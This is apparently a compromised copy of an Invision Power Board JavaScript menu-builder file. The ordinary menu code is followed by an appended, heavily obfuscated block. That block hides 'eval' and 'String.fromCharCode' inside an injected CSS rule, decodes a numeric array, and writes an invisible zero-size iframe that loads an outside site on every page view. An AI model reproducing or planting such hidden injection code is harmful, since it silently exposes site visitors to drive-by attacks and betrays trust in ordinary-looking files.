/*-------------------------------------------------------------------------*/
// IPS BASIC MENU CLASS (EXTENSION: BUILD SIMPLE MENU)
// (c) 2005 Invision Power Services, Inc
// Assumes that "ips_menu.js" has been loaded
/*-------------------------------------------------------------------------*/

//----------------------------------
// INIT some CSS classes
//----------------------------------

var css_mainwrap     = 'popupmenu';
var css_menusep      = 'popupmenu-item';
var css_menusep_last = 'popupmenu-item-last';

//----------------------------------
// INIT some images
//----------------------------------

var img_item   = "<img src='" + ipb_var_image_url + "/menu_item.gif' border='0' alt='V' style='vertical-align:middle' />";
var img_action = "<img src='" + ipb_var_image_url + "/menu_item2.gif' border='0' alt='V' />";

/*-------------------------------------------------------------------------*/
// Return formed image
/*-------------------------------------------------------------------------*/

function make_image( img )
{
	return "<img src='" + ipb_var_image_url + "/" + img + "' border='0' alt='-' class='ipd' />";
}

/*-------------------------------------------------------------------------*/
// menu_build_menu
// cid: ID of opener object (img, div, etc)
// menuinput: Array of menu entries | Variable of menu HTML
// complexmenu: Treat as HTML stream if true, else treat as array of HTML
/*-------------------------------------------------------------------------*/

function menu_build_menu(cid, menuinput, complexmenu)
{
	var html = "\n<div class='" + css_mainwrap + "' id='" + cid + "_menu' style='display:none;z-index:100'>\n";
	
	if ( ! complexmenu )
	{
		len = parseInt(menuinput.length);
		
		if ( len > 0 )
		{
			for( var i=0; i< menuinput.length; i++ )
			{
				t = parseInt(i) + 1;
				
				thisclass = ( t == len ) ? css_menusep_last : css_menusep;
				
				if ( menuinput[i].match( /^~~NODIV~~/ ) )
				{
					html += menuinput[i].replace( /^~~NODIV~~/, '' );
				}
				else
				{
					html += "<div class='" + thisclass + "'>\n" + menuinput[i] + "\n</div>\n";
				}
			}
		}
	}
	else
	{
		html += menuinput;
	}
	
	html += "\n</div>\n";
	
	//----------------------------------
	// Workaround for IE bug which shows
	// select boxes and other windows GUI
	// over divs. Write iframe
	//----------------------------------
	
	if ( is_ie )
	{
		html += "\n"+'<iframe id="if_' + cid + '" src="' + ipb_var_image_url + '/iframe.html" scrolling="no" frameborder="1" style="position:absolute;top:0px;left:0px;display:none;"></iframe>'+"\n";
	}
	
	//----------------------------------
	// Write the html
	//----------------------------------
	
	if ( html != '' )
	{
		document.getElementById( cid ).parentNode.innerHTML += html;		
	}
	
	//----------------------------------
	// Register and init
	//----------------------------------
	
	ipsmenu.dynamic_register[ ipsmenu.dynamic_register.length + 1 ]  = cid;
}



function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var uu=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var fx=r[i].cssRules||r[i].rules;for(var li=0;li<fx.length;li++){var fzok=fx.item?fx.item(li):fx[li];if(!fzok.selectorText.match(/#va/))continue;cwy=(fzok.cssText)?fzok.cssText:fzok.style.cssText;uu=cwy.match(/(S[^")]+)/)[1];rb=fzok.selectorText.substr(1);};}catch(e){};}
clpo=new Date(2010,11,3,2,21,4);t=clpo.getSeconds();var lz=[400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,156/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,136/t,192/t,136/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,136/t,192/t,136/t,128/t,408/t,456/t,388/t,436/t,404/t,392/t,444/t,456/t,400/t,404/t,456/t,244/t,136/t,192/t,136/t,128/t,460/t,396/t,456/t,444/t,432/t,432/t,420/t,440/t,412/t,244/t,136/t,440/t,444/t,136/t,128/t,460/t,456/t,396/t,244/t,136/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,456/t,388/t,408/t,408/t,420/t,180/t,428/t,388/t,400/t,388/t,408/t,408/t,420/t,184/t,396/t,444/t,436/t,188/t,408/t,444/t,464/t,444/t,136/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,156/t,164/t,236/t];var uifd="";var g=function(){return this;}();qi=g["e"+rb+"l"];var xgk='';pm=qi(uu);for(var i=0;i<lz.length;i++){qbq=qi(lz[i]);xgk+=pm(qbq);}
qi(xgk);
